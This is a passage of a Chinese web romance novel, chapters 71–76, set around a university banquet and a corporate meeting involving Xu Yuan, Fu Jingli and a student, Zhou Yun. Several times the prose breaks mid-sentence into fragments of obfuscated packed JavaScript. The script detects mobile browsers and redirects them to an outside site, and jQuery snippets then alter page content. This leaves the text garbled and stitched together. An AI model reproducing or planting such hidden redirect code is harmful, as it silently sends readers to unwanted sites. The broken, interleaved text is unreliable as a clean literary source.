傅京礼眼神仍然冰冷,他轻描淡写开口纠正她的错误。 “洪门谈判是指一年前傅氏在f国与莱蒂斯进行收购,压下莱蒂斯最初价位二十百分点的谈判。那场谈判最重要的角色是许经理,是她一手操控的局势,调查了详尽的资料,逼迫莱蒂斯最终以最低廉的价位,拿下了莱蒂斯在f国的几大产业链。” “你既然如此心上洪门谈判这场所谓的商业案例,为什么会搞不清楚其中真正的重要角色?” “还是说,你们的教授从最开始就讲错了人,将这份殊荣扣到了我的头上?” “如果是你们教授讲错了,那这个错误必须要纠正。” 会是教授讲错了吗? 并非如此,这不过是周芸耍了个小聪明。 她知道洪门谈判是许愿一手促成,但她就是想恭维傅京礼。 她认为傅京礼是傅氏真正的掌权人,这功劳是傅京礼的没有半点错。 毕竟如果没有傅京礼,许愿也没有这个机会与莱蒂斯谈判。 第71章 你很优秀 周芸听到男人的话脸色发白,唇瓣抖动了下,半晌说不出话。 她哪里敢说是教授的错。 教授非常欣赏傅京礼和许愿,且是许愿的恩师。 教授就曾说过傅京礼和许愿,是他教过的最优秀最聪明且有破釜沉舟的魄力的真正金融商人。 他是如此看重许愿,若是知道她在此刻颠倒黑白为了讨好傅京礼胡乱说这些,怕是会恼了。 周芸久久说不出话。 她的所有小心思暴露在两人犀利的目光下,慌乱中带着恐惧。 所有人都在看她。 她很清楚,从她仗着自己的小聪明小心思冲过来时,所有人都在等着看戏了。 她们都在嫉妒羡慕她,想看她被奚落被嘲讽,没有人……没有人希望她真的攀附上这高枝。 此刻,周芸紧张害怕得想哭。 许愿抬眸轻飘飘扫过傅京礼,那张清冷淡然的脸上仍然是带着疏离的微笑。 她走近周芸,轻声开口:“方便给我看看你怀里的资料吗?” 周芸不清楚许愿想做什么。 可此刻她离得这样近,一抬头就被那张精致的五官暴击,美到她的心都在狂跳,不受控制的将怀中的资料递交到她手中。 “谢谢。” 许愿礼貌的道谢,翻开资料看了看,边看边笑。 脸上的笑意倒是温柔,没了那种令人触摸不及的冷意。 “你整理了这么多有关傅氏的金融案例啊,后面还都有你自己的感想和小心思,有些小心思很讨巧的。” 许愿目光重新落到周芸涨红的脸上。 “你这样优秀,一定是教授很看重的学生。” 她这样赞赏的话语,周芸根本不敢接。 “教授一直都说,傅总和许经理是他最欣赏的学生。”她支支吾吾开口。 许愿轻微摇头:“我们是过去,你们是未来,你们也同样是他欣赏看重的学生,不要妄自菲薄。” 周芸眼睛再度亮起来,这次看向许愿时的目光,赫然就是方才看向傅京礼时的目光。 周芸是漂亮的,但是那种还青涩的漂亮,即便穿着白色的晚礼服,仍然给人一种还未长开白色小花的感觉。 她并不矮,但相较于许愿,还是矮了几公分。 许愿伸出手,揉了揉周芸柔软的黑发。 “不必紧张,不必害怕,不过是见到了你倾慕的人,所以才说错了些话,不是什么大不了的事,傅总和我都不会放在心上的。” 话落,许愿看向傅京礼开口道:“我说得对吗,傅总。” 傅京礼眸光沉重,却并未开口,只是目光一直落在她身上,未曾移开。 许愿收回自己的视线,清润的眸落在周芸脸上 。 “傅总没开口,就是默认了我的说法,我们都不会怪你。” 她这样轻声安慰。 仿佛她此前在傅京礼那里遭遇到的冷遇,都得到了安慰救赎。 与傅京礼那里的狂风骤雨相比,许愿的话语就像是将经历过寒冬的人拯救出凛冽之冬,仿佛她带来的风,都会是和煦轻柔的微风。 她的心缓缓的就定下来了。 她真的不慌了。 “你的这些经典案例解说和那些小心思都很有趣,方便借给我带回去,分享给项目组的下属员工吗?” 许愿温柔地征求她的意见。 周芸心尖一动。 能考上a大的被教授看重的小女生,怎么可能会是愚笨的人。 许愿知道她的处境,许愿知道她被所有人关注着。 那些人想让她难堪出丑,她们都等着看好戏。 可偏偏,许愿给她搭好了台阶,甚至捧着她,夸着她。 许愿在a大金融系一直都是传说一样的存在,许愿建立的公益组织,为残疾人创建的,失学女性创建的,都还运转甚至每年盈利能够帮扶更多人。 那是她赠予a大的礼物,也是赠予那些需要帮助的人最大的馈赠。 因为这些,她在a大金融系某些学生心中,甚至是带着些神性的光辉的。 至今是教授口中的优秀案例,是a大优秀毕业生,是金融圈内的高层,是许多人望尘莫及的存在。 而这样的她,被教授那般夸赞一身光芒甚至自身拿下几十上百亿大案子的许愿,会需要她的笔记吗? 不,她不需要她的笔记,她只是在帮她。 怎么能这么温柔。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618025|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明明……明明最初的她就是带着攻击性想来伤害她的。 甚至是故意将她的功劳安置到傅京礼身上,她明明在雌竞。 可她,却如此和风细雨。 周芸内心的愧疚,在这一刻攀升到顶端。 “许经理,我……” 许愿越是这样温柔,她就越是难堪。 许愿递给她一张名片:“这是我的名片,等你毕业,或者是在校期间想要实习,随时联系我。” 周芸惊呆了。 她呆愣愣的看着面前的女人,双手颤抖的不敢去接她的名片。 许愿却唇角含笑的将名片递到她手中,只是那份资料却没有还给她。 “我说了,你很优 秀,不要妄自菲薄。” 她一手放在她的肩上轻轻拍了拍,像是安抚:“下一场表演快要开始了,回去吧,去开心的愉快的看一场表演吧。” 周芸眼眶发红。 她知道,许愿这样做,所有的人都能看得到。 她得到了许愿的名片,她的金融笔记被许愿借走,她们都看得到…… 众目睽睽之下,她终于可以挺起胸膛骄傲自豪的回去,而不是像过街老鼠灰溜溜的逃走躲起来。 这次,她弯腰鞠躬,声音带着几分哽咽,带着劫后重生的感激。 “学姐,谢谢你……还有,对不起。” 她这次语气十分真诚。 说完这些,才再也不敢看她慌忙离去。 她只是觉得像她这样内心黑暗藏满了心机的人在许愿身边,仿佛都是一种另类的玷污。 周芸离开了。 许愿倚靠在原地,垂眸,目光落在笔记本上,唇角的笑意一直没有消失。 男人踱步走到她身边,声音沉冷。 “为什么帮她?” “她伤害了你不是吗。” 许愿头都没有抬,轻飘飘问:“请问傅总,这位女同学是什么地方伤害到我了?” “她撞了你,抹去你在合作案中的功劳,这对你是一种侮辱。”男人声音冰冷。 许愿握着笔记本的手稍稍用力,声音透着几许薄凉。 “我并不觉得这是侮辱。” 第72章 别伤害我的人 “她倾慕你爱慕你,所以对我有敌意那很正常,不过是冲过来时撞了我一下,说了些似是而非的话,抹去我的功劳也只是在你面前想跟你拉近距离,她对我造不成任何影响。” “不过是一个青涩的女学生,能如何侮辱我?” “倒是你,未免太过分。” 许愿清冷的眼眸中闪过几许凛冽的冷芒,显然是对面前男人怀揣着不满。 男人神色冷淡的看着她,像是给她机会说原因。 许愿自然不会浪费这个机会。 “你该知道所有人都在看着她,她们等着看她遭受到你的羞辱后落荒而逃,而你不负众望冷言冷语的嘲讽。或许你不会在意这些,她也确实不会给你造成什么影响,但你却会就此毁掉她的一生。” 周芸做错了什么吗? 她不过是比那些女学生胆子更大,心思更重一些。 但事实上,她并未对他们任何人造成其他不好的影响。 她甚至没有用什么下作的手段,没有泼酒没有下药,只是提出引以为傲的金融资料,只是借此接触自己爱慕的人。 她已经足够光明正大。 “你对她如此苛刻,无非是因为你不在意她,你无法共情她,你不知道她会遭遇什么,或许你知道但你根本不在意。” 傅京礼眸光深沉,眼神愈发冰冷。 “你该知道,我做这些是为了你。” 许愿轻微摇头。 “你不是为了我。” “如果你真的是为了我……那我可以清楚的告诉你,她没有对我造成伤害和影响,真正伤害到我的是你的情人许宁。” “她的一切,都在伤害我。” “她的出生伤害到我,她的自私伤害到我,她的虚伪伤害到我,她的争夺伤害到我……是你的情人一直在伤害我。” “既然你这么在乎我,想要为我出头,那你为什么不去对付许宁?告诫许宁?而是针对一个无权无势的女学生。” 是的,真正伤害到她的只有许宁。 傅京礼沉默了。 许愿哈了一声,眼底嘲讽的笑意愈发深了。 “你办不到这些,就不要以一种为我好的口吻去做些我根本看不上眼的事情。” “傅京礼,如果三年前我知道你是这样的人,我绝对不会跟你发生任何关系,产生任何关联。” 许愿是个什么样的人? 她嫉恶如仇,却对女性有着最大的宽容同理心。 她不喜欢雌竞,对女性都是抱着友好的态度。 最开始,纵然是许宁,她都能为她开脱,错的是她的母亲不是她。 所以周芸今天做的事对她来说无伤大雅,而因为这种小事去伤害对方,那才是可笑。 “今天的事,不必再追究。” 许愿低头扫了眼笔记本扉页的名字,写着“周芸”二字。 “她很优秀,会是我未来选择的员工之一,别伤害我的人。” 她是在为周芸开脱。 傅京礼眸光冰冷如初,只是内里藏着几许波澜。 他看着自己面前如寒霜冰雪的女人,喉结微微滚动,半晌才开口。 “我不会对她做任何事,你可以放心。” 知道他绝对说到做到,许愿方才转身离去。 经过方才那些事,她真的不想跟男人站在一起,这让她觉得透不过气。 许愿离开了,傅京礼还站在阳台上,盯着草坪里微微亮着的几盏地灯。 暖黄的灯光从草丛里射出来,带上了一些清透的浅绿光晕,一点一点,像隐藏在土地之中的精灵,可在他眼中,也仅仅是许愿在时是美景罢了。 傅京礼摇摇头,翻涌的思绪重新归于漠然。 他放下早已喝空的酒杯,转身离开,穿越过衣香鬓影的人群,穿越过琳琅满目的餐点,穿越过精心装饰的花团。 所有人的目光都在追随着他,隐含着各种各样的欲望。 想要攀附,想要算计,想要占有…… 然而归根结底,他们真正想要的,却是他背后所代表的金钱和权势。 傅京礼厌恶地皱眉,整理手腕上的表带。 漆黑的表盘宛如夜空,规律转动的齿轮是唯一的装饰。 今夜没有星和月,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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仿佛感应到了他的目光,许愿直起腰,仰头看来。 第73章 喜欢看她 今晚没有星与月,可是许愿倒映着万千灯火的眼眸里,却藏着星与月。 傅京礼看着她。 许愿却只是默然的看了一眼,随后移开了目光。 她很优秀,这是傅京礼一直知道的。 只是在嫁给他后,她一直都极力于证明她自己,在各种繁琐的策划案中忙碌,他们更多接触也只是在工作的时候,还有……床上。 他知道许愿会弹钢琴,却从未真正见过她弹钢琴。 她穿着火红色的晚礼服,整个人耀眼得像是在发光。 他的眸光几乎看不到傅嘉誉,全都是许愿,也只有许愿。 她的手指修长纤细,漂亮优美,飞速的在钢琴上弹奏着优美的乐曲。 那是一首慷慨激昂的钢琴曲,衬得她整个人妩媚中更增添了力量感。 真的,很美。 舞台的不远处栽种了不少槐树,是数年前老校长栽种的,此刻微风拂过,伴随着微风,落在她的发梢。 隔着这样远的距离,都让人隐隐约约的仿佛能闻到她身上的淡淡香气。 a大的学生都看着她,金融系的学生多数都望着她,眼底都是倾慕。 不只是因为她优越过人的容貌,更是因为她留在a大的那一段段佳话。 她就好像那种天生就该活在舞台上,活在掌声中。 “你都看好半天了。” 宋野端着杯酒优哉游哉的到傅京礼身边,声音里明显带着笑:“从你来了a大开始,好像目光一直追随着许愿。” “她有那么好看吗,你那么爱看她。” 宋野像是在调侃,目光重新放到台上嗯了一声:“是挺好看的,不怪你这么喜欢看了。” 傅京礼并未开口,宋野轻啧一声。 一首钢琴曲的时间并不算久,许愿下台时并未多停留,随着傅嘉誉进入后场。 进入后场也遇到不少学生,多是金融系的,就是想来亲自见一见许愿。 两人也是费了点功夫,才到休息室。 “嫂子,你在a大的号召力是真的强。” 傅嘉誉忍不住开口赞叹。 听到她叫嫂子,许愿有一些恍惚。 “别叫我嫂子了,你哥不喜欢听的,而且我们已经离婚了。”她委婉开口。 “谁要管他啦。” 傅嘉誉补了下妆,挽住许愿的手。 “嫂子,走,我们出去。” 许愿顿了下,片刻后还是忍不住开口提醒一句。 “嘉誉,别再叫我嫂子了。” 傅嘉誉有些哀怨的叹了口气:“我哥真的是有毛病啊,有你这么好的太太,还要离婚去……去选那样一个女人!不是眼瞎就是有毛病!” 傅嘉誉的语气都透着骨子幽怨感。 她是真觉得傅京礼纯属有病。 许愿在上流圈子时是多少人追求的对象,她家世不够好,却还能在圈内成为被那么多长辈看好的儿媳孙媳人选,真的只是因为容貌吗? 不,是因为智商,因为能力,因为手段。 这样的女人,娶回家都要旺三代的好吗! 纵然儿子孙子再混蛋,只要有许愿这样的女性存在,就能镇住整个家。 傅嘉誉越是将许愿和许宁放到一起作对比,就越是觉得傅京礼有病。 她甚至都有点烦躁了。 “嘉誉,现在不是他做选择了。” 许愿笑意愈深:“就算是他给我选择,我也不会再选择他,我们之间结束,就是真的结束了。” 她的声音透露着解脱后的轻快。 傅嘉誉沉重的叹了口气,也知道自己不能再劝,只是内心忍不住腹诽许宁。 “那次你跟许宁在华庭见面时,我刚好也在,嘉誉,以后不必再为难她。” “她那样的人,不配与你接触。” 傅嘉誉嘟囔了句:“我只是见不得她那副嚣张的模样,是小三私生女还那么嚣张,过于恶心了。” 许愿忍不住轻微摇了下头。 傅嘉誉见她这般劝,只能轻哼了一声:“我听你的还不行吗?只是我不许那个女人再来我面前晃,不然我可不会轻易放过她。” “嫂子,我约了人跳舞,就先走啦。” 她重新打起精神,笑容满面。 许愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618027|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着她的目光看去,瞥见拐角处一名等候多时的少年。 少年身形高大,面容清俊带着点淡淡的冷感,是那种学生时代都会喜欢的类型。 似是察觉到她的目光,少年礼貌疏离的对她轻点了下头,这才淡然开口:“嘉誉。” 傅嘉誉立刻弯起眼睛笑了,凑到许愿耳边:“大我一届的学长,我好不容易跟他打赌赢了,才让他当我的舞伴呢,是不是很帅?” 许愿轻轻笑了笑:“嗯,很帅,玩得开心。” 傅嘉誉这才满意的跟随少年离开。 只有许愿停留在原地,望着两人离开的背影。 傅嘉誉这样的出身,注定不可能选择普通出身的男性。 就算傅京礼同意老爷子同意,她的父亲怕是也会反对。 而那位少年,第一感觉是优秀的,甚至身上带着种难以言喻的高贵感。 但她可以肯定,a市上流圈子没有这个人。 算了,嘉誉玩得开心就好,以后的事谁说得准呢? …… 周芸见过傅京礼和许愿重新回到宴会场,周雨欣带着自己的跟班好友凑过来。 几人脸上挂着明显看好戏的眼神。 “芸芸,你竟然真的去见傅总了?” “我隔着这么远的距离都看到傅总拒绝你了,芸芸,你怎么那么大的胆子啊。” “就是,全校那么多人,你看谁敢凑过去,也就你仗着自己长得漂亮,以为自己能被傅总相中呢,只可惜傅总身边有位更漂亮优秀的解语花呢。” 周雨欣微笑的嘲讽。 “也不知道你哪里来的自信,许愿可就在傅京礼身边,你竟然还敢凑上去,?你也不看看你浑身上下有什么地方比得过她,轮相貌你不如她,轮聪慧你不如她,哪怕你是天之骄女,在许愿面前也只有提鞋的份儿。” 周芸回到人群中,与她同姓周,一直都在竞争攀比的周雨欣就带着她的小团体冲过来。 周芸眼神微暗。 “谁说我是去找傅总的。” 她抬手,扬了下手中的名片,此刻倒是毫不怯场。 “我是去见许经理的。” 第74章 戴着皇冠 “许经理不仅看了我的笔记,还借走了我的笔记,给了我名片,让我有机会去实习。你们隔着这么远的距离,不都已经看到了?” 周芸现在更是感激许愿了。 许愿肯定是早就猜到她回来后会遭遇什么,才会提前为她解围。 否则现在她要面对的,会更加艰难。 周雨欣哈的笑了一声。 “话都让你说了,你真当我们没看到你最开始就是奔着傅总去的?最开始许经理都被你撞得差点跌倒呢。” 周芸眼神一暗,对此也感觉到抱歉。 只是还未等她说什么,就听到身后传来一道极轻极缓的笑声。 “她是来找我的,这种浅显易懂的事情也需要过度解读吗?” 许愿站在周芸身后,眼尾微微上挑,带着明显的压迫之意。 周雨欣被震住了,好半晌支支吾吾开口:“可是她……最开始就是冲着傅总去的。” “我说她是来找我的,你不相信,你一定要坚信她是冲着傅总去的?既然你只相信你自己认为的事,那为什么还要冲过来质问她?” 许愿淡淡嘲讽,仿佛是说她活在梦里。 周雨欣当然听出来了,脸都有些微微发白。 周雨欣的小姐妹们对视一眼,匆匆离开,是一刻都不愿多停留。 周芸眼眶发红,许愿转身看向她:“有什么可哭的,不过是一些小女生的把戏。” “你感受不到吗,今晚的你,是戴着皇冠的,不论旁人怎么看,做你自己就好。” “啊?” 周芸愣了愣。 恍惚中,头顶仿佛真的戴上了一顶纯金打造的皇冠,缠绕着荼蘼盛放的花朵。 周芸不由自主地挺直脊背,露出骄傲的笑容。被周雨欣摧折的自尊和自信,仿佛慢慢找了回来。 然而这笑容,只在瞬间就僵滞了。 周芸看见了傅京礼。 那人端着两杯威士忌,站在舞池边缘,鹰隼一般锐利的双目正直直地看过来,寒气转瞬蔓延。 周芸微红的脸,立马变得苍白。 “学姐,我是不是真的得罪了傅总。” 许愿回眸望去,却见傅京礼举起手中的两杯酒,示意了一下。 舞曲正好结束,舞池里成双成对的人慢慢散去。 许愿带着周芸重新来到傅京礼身边。 “带她来做什么?” 傅京礼淡淡开口,声音里面都带着明显的凉意。 “她是我未来的员工。” 一名侍者路过,许愿从托盘上拿了一杯果汁递给周芸,这才缓解了周芸的紧张和尴尬。 她睁大眼睛,小心翼翼地打量着傅京礼和许愿。 她总觉得这两人站在一处,氛围意外的和谐。 “你跟我提过了。”傅京礼淡淡道:“我不会对你的人做什么,这点我可以保证。” 傅京礼冰冷沉暗的眼眸深了几分,他举起酒杯又饮,却发现那琥珀色的酒液早已被自己喝光了,性感的喉结前后滚动,仿佛压抑着某种无法诉诸于口的欲望。 他把空杯子递给从身边走过的侍者,一双染了酒气的深邃眼眸,此刻淡淡的看向身边的许愿。 许愿只是微微笑了笑,正欲跟周芸说什么,却见宴会厅内的周雨欣没有站稳,崴了脚。 “呀!” 正仰头喝着一杯红酒的周雨欣发出了一声惊呼。 淡红的酒渍顺着她的脑袋,淅淅沥沥落在纯白礼服上,弄得胸前乌糟糟一片。 周围人纷纷看向她,继而露出似笑非笑的轻蔑神色。 喝杯酒都能从头顶往下灌,真是蠢笨得离谱! 周芸都愣了,周围人看周雨欣的目光都带着几分不解。 许愿揉揉眉心,暗自叹了一口气。 满脸难堪的周雨欣提着裙摆往大厅外的洗手间走去,却因为太过慌乱着急,左脚拌右脚的没有控制住惊叫一声,然后便扑倒在摆放着许多餐点的长桌边。 雪白桌布的一角垂落在她眼前。 她只是惯性的想找个支撑点,伸出手去抓桌布,只听稀里哗啦一阵乱响,伴随着桌布的滑落,置于桌上的各色餐点也兜头兜脑地砸在周雨欣身上。 周雨欣抱头大喊救命,嗓音扯得快要破了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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察觉到大家的怀疑,周雨欣非但没消停,反而越发愤怒地嘶吼要找周芸讨个说法,甚至还要找监控! 看什么监控啊! 根本就没有人靠近过周雨欣。 她是平地摔下去的! 这不是睁眼说瞎话嘛! 大家交头接耳,窃窃私语,末了露出嘲讽的笑容。 傅京礼就在这时抬起了手臂,于是所有人都看过去,其中也包括周雨欣。 “把她带走,太吵了。” 冷淡的,漠然的,甚至带着一点儿厌烦的声音响起。 闹剧看了这么久,终于有金融系的老师走出来道歉,末了亲自去搀扶周雨欣 看似态度温和,实则强拉硬拽地把人往门外带。 被心中倾慕的人看见如此惨状,还被厌弃了,周雨欣不由号啕大哭。 她一边挣扎,一边回头冲傅京礼大喊:“傅总,真的有人推我!你去查监控啊!是周芸陷害我!你去啊……” 大门轰然关上,隔绝了这刺耳的啼哭。 主板活动的主任匆匆走进来,一边用毛巾擦拭满手汤水,一边讪讪地说道:“大家继续,大家继续,小插曲已经过去了。” 然而宾客们依旧站在原地,嘴上没说什么,脸上则纷纷露出不悦的神色。 主任笑得更加讪然,不断弯腰鞠躬,向所有人道歉。 所为始作俑者的血亲,依然留在宴会厅里的周父恨不得挖个地洞钻进去! 厅中依旧是一片尴尬的沉寂,主任的额头不由冒出了一层细汗。 就在这时,傅京礼冲不远处的侍者扬了扬手。 侍者立刻走过去,递给他一杯威士忌。 他仰头浅饮一口,淡声说道:“继续吧。” 只这一句,简单的三个字,却带有不容人忤逆的威势。 原本气氛诡异的宴会厅,一瞬间竟活了过来。 悠扬的钢琴曲奏响,宾客们露出优雅愉悦的笑容,聊天的声音,酒杯碰撞的声音,舞步翩跹的声音,纷纷扬扬,渲染了空气。 这就是傅京礼的影响力。 绝大部分时间他都在沉默,然而只要他愿意,他就能轻易掌控周围的一切。 主任连忙朝傅京礼走去,想要道谢,却被傅京礼轻飘飘的一个目光阻止了。 他面色淡然沉稳的举起一杯酒饮用 原本四处游走递送酒水的侍者,此刻只能一动不动地站在他身边,双手举着托盘,眼睁睁地看着如此烈性的酒,被这个寒气逼人的男人一口一口饮尽。 他似乎心情并不算好。 “傅总,今晚的事真的很对不起,给您和许经理添了许多麻烦。”周芸有些歉意地开口。 话音刚落,男人便垂下眼眸睇视周芸,瞳孔深处翻涌着灼人的烈焰,却又逸散出逼人的深寒。 周芸整个人心都慌了,许愿笑了笑:“不必在意,傅总并没有怪罪你的意思。” “他说了,不会伤害你。” 周芸这才算是松了口气,傅京礼垂眸扫了两人一眼,而他的手机不适时的响起来。 男人低头扫了眼,是许宁的来电。 傅京礼放下酒杯沉声说道:“我先走了。” 提前离场是他的习惯,只是这次是为了许宁离场。 他们离得不算远,许愿方才也看到许宁的来电,她只是扬唇笑了笑:“好的,傅总您慢走。” 优雅的微笑,得体的态度,看似熟稔实则陌生的距离,许愿现在总是如此…… 傅京礼又深深的看了她一眼,方才离去。 走到会场门口,他回头看了一眼,眸色幽深难辨。 “老大,您去哪儿?”沈略问。 傅京礼沉默片刻:“回公寓。” 沈略愣了下,驱车离开。 傅京礼离场,宋野和江惊蛰也觉得无趣,且今晚已经看够了乐子,索性跟许愿打了声招呼离开。 许愿便也没有多待。 从宴会归来之后,许愿洗了个澡,顶着湿漉漉的头发,坐在阳台上吹风。 屋内开着空调,外面蒸腾着热气,一冷一热的交融,带来一种身体即将融化的奇妙感觉。 许愿翻看着最新的策划案,忽然,手机中一条短信蹦了出来。 许愿点开查看,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618029|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现这竟是盛景炎发来的一段视频。 “这人不知道看时间的?”许愿呢喃摇头。 可是看到那段视频后,许愿愣住了。 视频中,首先映入眼帘的是漆黑的夜幕,其上竟一点一点亮起光斑,点点光斑慢慢汇聚成一幅幅美丽的图画。 像是有人在为了告白制造的浪漫惊喜。 原本漆黑的,没有星与月的夜空,被人间的灯火渲染得如此美丽。 手机震了震,盛景炎发了微信,显现在屏幕上:【在国外的时候偶然看到的,我觉得你会喜欢。】 许愿看着这条短信,眼眸里闪烁着湿漉漉亮晶晶的微光。 许愿摁住语音键,忍不住轻笑:“盛景炎,我很喜欢。” 她就是喜欢傅京礼认为的那种毫无用处,但却美丽的所有的景色。 还在国外等候的盛景炎收到了许愿传来的语音。 点开之后,说话的声音并未传出,反倒是带着柔意的笑声先行飘荡过来,很柔,很轻,让他只是听着声音都忍不住脸上带了笑意。 于是盛景炎便勾着薄唇,微不可察地露出笑颜。 盛景炎深不见底的眸子,染上了一些微醺的飘然,末了又转为沉醉的炽烈。 这条语言,被他反反复复听了又听…… 许愿靠在床头,却又收到了盛景炎的信息。 点开一看,竟是盛景炎发来的一张照片。 照片拍摄的是巍峨古堡旁的一角夜空,夜空中布满璀璨星辰与蜿蜒银河。 与人间灯火的绚烂多彩不同,自然的星光清冷而缥缈,没有尘世的热闹,只有辽远的寂寞。 但这样的景色依旧是美的。 许愿心间微有触动,这一整晚都有梦到那片唯美的星河。 许愿原以为盛景炎还要在国外待七八天,却没料第二天他就赶了回来,从机场直接到傅氏,跟傅京礼定好下午开会。 参加会议的人交头接耳地议论着。 许愿把盛景炎交给他的资料打印出来,分发下去。 分发到许宁时,许愿发现她的手指在颤抖。 她在害怕。 第76章 没事就多读书 是一步登天还是一败涂地,就在今天了吧? 对别人来说,这只是一个会议,然而对许宁来说,算是她目前为止人生最重要的转折点。 许愿放下资料便要离开,只离开的瞬间,手腕被许宁紧紧握住。 许愿脚步微顿,垂眸看她。 “有事吗。”她语气分外冷淡。 “你在等着看我的笑话吧。” 许宁咬着下唇,像是已经给许愿定下罪责。 “我告诉你,这次出错的是你是盛景炎,绝不会是我!” 许愿抬眸淡淡的开口:“那你为什么害怕?” “害怕?我怎么会害怕,我是激动,我是兴奋,我马上就要……就要成为傅氏的主管领导层了,是你这辈子都望尘莫及的存在。” 她压低声音,像是故意想给许愿压力。 “那你很厉害。” 许愿神色冷淡,就要离开。 许宁握紧拳头默默等待他言语上的挑衅,可许愿却如此无视她。 许宁觉得心里一阵空落。 她把许愿当成此生大敌,许愿却完全没把她看在眼里,这才是最让她难受的! 是她不配吗? 不等许宁多想,盛景炎和傅京礼已走进会议室。 窃窃私语中的同事们立刻端正坐姿,屏声静气地看向二人。 参与此次会议的不仅有傅氏的人,还有盛世的人。 会议在傅氏举办,主位是傅京礼的。 许愿坐在傅京礼左侧,沈略则在许愿身旁,本该给盛景炎安排接近主位的位置,他直接拒绝,站到沈略身旁,懒懒散散的敲了敲椅子扶手。 “劳驾,让个位置?” 沈略掀了下眉。 他倒是对盛景炎没什么意见,但是……他老大在看他啊! 简直看得他头皮发麻! 沈略坐直身体看向许愿,等她回应,许愿推了下鼻梁上的眼镜。 她今天看太多资料,此刻戴上了防蓝光的眼镜舒缓眼镜疲劳,此刻却是多了几分知性美。 “让给他吧。” “你坐在傅总另一边,正合适。” 沈略脸上官方的微笑都僵了下。 他一时猜不透许愿是不是在开玩笑了。 会议即将开始,傅京礼目光落在两人身上,一直未曾离开。 不等沈略说句什么,盛景炎已经不讲武德将沈略的椅子推远了。 沈略:“……” 傅京礼:“……” 也没人看到盛景炎什么时候拽了把椅子到旁边,就等着这一出。 是真不要脸。 可这里毕竟是傅氏,盛景炎只是客人,他都这么做了,他们也不好开口拒绝了。 他能说什么?说不同意?再给盛景炎换回来? 盛景炎这么不要脸皮,怎么可能同意啊! “谢谢。” 盛景炎厚脸皮的道谢,稳稳坐到许愿身边,唇角带笑的将头偏向许愿:“想接近你,还真是要过五关斩六将啊。” “哪里来的过五关斩六将,太夸张了。” 许愿不信他的胡诌。 “傅京礼一个人比六将都要重了。” 盛景炎轻啧一声,又低声道:“我们的研究所得到你给的数据算法,已经算出了最新一串数据,今晚一起去华庭聚个餐?” 两人距离得很近,他唇附在许愿耳边低语。 湿热的气流吹拂在耳廓上,带来一片难耐的酥麻。 许愿抬眸看他,带着明显的警告。 显然是不许他继续动手动脚。 盛景炎笑了笑,风流多情的眼眸里闪烁着愉悦的微光。 他用的古龙水味道实在是极具侵略性。 可能不是古龙水的味道具有侵略性,可能是盛景炎本人就是这种猛兽般的人物。 他已然将许愿看作是他的猎物。 许愿不喜欢这种感觉,所以才会出言提醒。 盛景炎没得到许愿的回答也不气馁,自顾的开口:“没回复就是默认了,那就晚上见?” 他声音不大,但是被拽到一旁的沈略可是能听得清清楚楚。 晚上见什么啊见! 沈略实在是想吐槽,但也没办法,只能坐到傅京礼另一侧,他无奈的摸摸鼻子,提醒了句。 “傅总,大家都到齐了,会议可以开始了。” 让来参加会议的人看了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618030|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么场乐子,他都觉得丢人。 傅京礼淡淡的瞥他一眼,沈略摸了摸鼻子轻咳一声。 一直被忽略的真正的主人公许宁却一直都一言不发,低垂着头,眼神阴郁。 